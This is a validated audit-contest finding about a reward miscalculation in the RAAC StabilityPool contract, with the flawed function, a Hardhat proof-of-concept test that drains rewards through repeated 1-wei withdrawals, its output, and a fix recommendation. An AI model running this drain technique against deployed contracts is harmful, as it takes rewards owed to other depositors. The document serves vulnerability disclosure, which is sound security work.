Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Incorrect reward calculations in `StabilityPool::calculateRaacRewards` allow users to get more rewards than they deserve thus, stealing rewards from other users

Summary

Users receive their rewards when withdrawing their deposits from StabilityPool. StabilityPool::withdraw calculates the amount of reward (RAACToken) to send to the withdrawer using the StabilityPool::calculateRaacRewards function.

However, this function calculates rewards based on the user’s total balance instead of the withdrawal amount. This allows users to:

  • Exploit withdrawals by repeatedly withdrawing 1 wei to drain the reward pool.

  • Farm rewards by depositing and immediately withdrawing.

This results in an unfair distribution of rewards for RToken holders.

Vulnerability Details

StabilityPool::calculateRaacRewards is used by withdraw() to calculate the reward amount:

function calculateRaacRewards(address user) public view returns (uint256) {
@> uint256 userDeposit = userDeposits[user];
uint256 totalDeposits = deToken.totalSupply();
uint256 totalRewards = raacToken.balanceOf(address(this));
if (totalDeposits < 1e6) return 0;
@> return (totalRewards * userDeposit) / totalDeposits;
}

The function incorrectly calculates the reward amount based on the userDeposit.

PoC

import { expect } from "chai";
import hre from "hardhat";
const { ethers } = hre;
describe("StabilityPool", function () {
let owner, user1, user2, user3, treasury;
let stabilityPool, lendingPool, raacMinter;
let crvusd, rToken, deToken, raacToken, raacNFT;
let raacHousePrices;
beforeEach(async function () {
[owner, user1, user2, user3, treasury] = await ethers.getSigners();
// Deploy base tokens
const CrvUSDToken = await ethers.getContractFactory("crvUSDToken");
crvusd = await CrvUSDToken.deploy(owner.address);
await crvusd.setMinter(owner.address);
const RAACToken = await ethers.getContractFactory("RAACToken");
raacToken = await RAACToken.deploy(owner.address, 100, 50);
// Deploy price oracle and set oracle
const RAACHousePrices = await ethers.getContractFactory("RAACHousePrices");
raacHousePrices = await RAACHousePrices.deploy(owner.address);
await raacHousePrices.setOracle(owner.address);
// Deploy NFT
const RAACNFT = await ethers.getContractFactory("RAACNFT");
raacNFT = await RAACNFT.deploy(crvusd.target, raacHousePrices.target, owner.address);
// Deploy pool tokens
const RToken = await ethers.getContractFactory("RToken");
rToken = await RToken.deploy("RToken", "RToken", owner.address, crvusd.target);
const DebtToken = await ethers.getContractFactory("DebtToken");
const debtToken = await DebtToken.deploy("DebtToken", "DT", owner.address);
const DEToken = await ethers.getContractFactory("DEToken");
deToken = await DEToken.deploy("DEToken", "DEToken", owner.address, rToken.target);
// Deploy pools
const initialPrimeRate = ethers.parseUnits("0.1", 27);
const LendingPool = await ethers.getContractFactory("LendingPool");
lendingPool = await LendingPool.deploy(
crvusd.target,
rToken.target,
debtToken.target,
raacNFT.target,
raacHousePrices.target,
initialPrimeRate
);
const StabilityPool = await ethers.getContractFactory("StabilityPool");
stabilityPool = await StabilityPool.deploy(owner.address);
// Deploy RAAC minter
const RAACMinter = await ethers.getContractFactory("RAACMinter");
raacMinter = await RAACMinter.deploy(
raacToken.target,
stabilityPool.target,
lendingPool.target,
owner.address
);
// Setup cross-contract references
await lendingPool.setStabilityPool(stabilityPool.target);
await rToken.setReservePool(lendingPool.target);
await debtToken.setReservePool(lendingPool.target);
await rToken.transferOwnership(lendingPool.target);
await debtToken.transferOwnership(lendingPool.target);
await deToken.setStabilityPool(stabilityPool.target);
await deToken.transferOwnership(stabilityPool.target);
// Initialize Stability Pool
await stabilityPool.initialize(
rToken.target,
deToken.target,
raacToken.target,
raacMinter.target,
crvusd.target,
lendingPool.target
);
// Setup permissions
await raacToken.setMinter(raacMinter.target);
await raacToken.manageWhitelist(stabilityPool.target, true);
// Mint initial tokens and setup approvals
const initialBalance = ethers.parseEther("1000");
// Mint crvUSD to users
await crvusd.mint(user1.address, initialBalance);
await crvusd.mint(user2.address, initialBalance);
await crvusd.mint(user3.address, initialBalance);
// Approve crvUSD for LendingPool
await crvusd.connect(user1).approve(lendingPool.target, initialBalance);
await crvusd.connect(user2).approve(lendingPool.target, initialBalance);
await crvusd.connect(user3).approve(lendingPool.target, initialBalance);
// Initial deposits to get rTokens
await lendingPool.connect(user1).deposit(initialBalance);
await lendingPool.connect(user2).deposit(initialBalance);
await lendingPool.connect(user3).deposit(initialBalance);
// Approve rTokens for StabilityPool
await rToken.connect(user1).approve(stabilityPool.target, initialBalance);
await rToken.connect(user2).approve(stabilityPool.target, initialBalance);
await rToken.connect(user3).approve(stabilityPool.target, initialBalance);
});
it("calculates rewards based on deposit amount", async () => {
await stabilityPool.connect(user1).deposit(await rToken.balanceOf(user1.address));
await stabilityPool.connect(user2).deposit(await rToken.balanceOf(user2.address));
await stabilityPool.connect(user3).deposit(await rToken.balanceOf(user3.address));
const balanceBeforeWithdrawal = await raacToken.balanceOf(stabilityPool.getAddress());
console.log("Balance before withdrawal: ", balanceBeforeWithdrawal);
for(let i = 0; i < 10; i++) {
await stabilityPool.connect(user1).withdraw(1);
console.log("Raac user balance: ", await raacToken.balanceOf(user1));
}
const balanceAfterWithdrawal = await raacToken.balanceOf(stabilityPool.getAddress());
console.log("Balance after withdrawal: ", balanceAfterWithdrawal);
const diff = balanceBeforeWithdrawal - balanceAfterWithdrawal;
console.log("Difference: ", diff);
});
});

Output

StabilityPool
Balance before withdrawal: 3298611111111111100n
Raac user balance: 1143518518518518514n
Raac user balance: 1949845679012345671n
Raac user balance: 2531378600823045257n
Raac user balance: 2963048696844993129n
Raac user balance: 3294810242341106525n
Raac user balance: 3559966087486663604n
Raac user balance: 3780718132398516471n
Raac user balance: 3971867643821233197n
Raac user balance: 4143282132917859163n
Raac user balance: 4301539940463757955n
Balance after withdrawal: 316515615091797585n
Difference: 2982095496019313515n
✔ calculates rewards based on deposit amount (3136ms)
1 passing (24s)

Impact

The issue leads to unfair RAACToken distribution. Since RAACToken is used to obtain voting power this issue will affect the voting mechanism as well.

Tools Used

VSCode, Manual Research

Recommendations

Implement the masterchef staking alogorithm.

Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::withdraw can be called with partial amounts, but it always send the full rewards

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.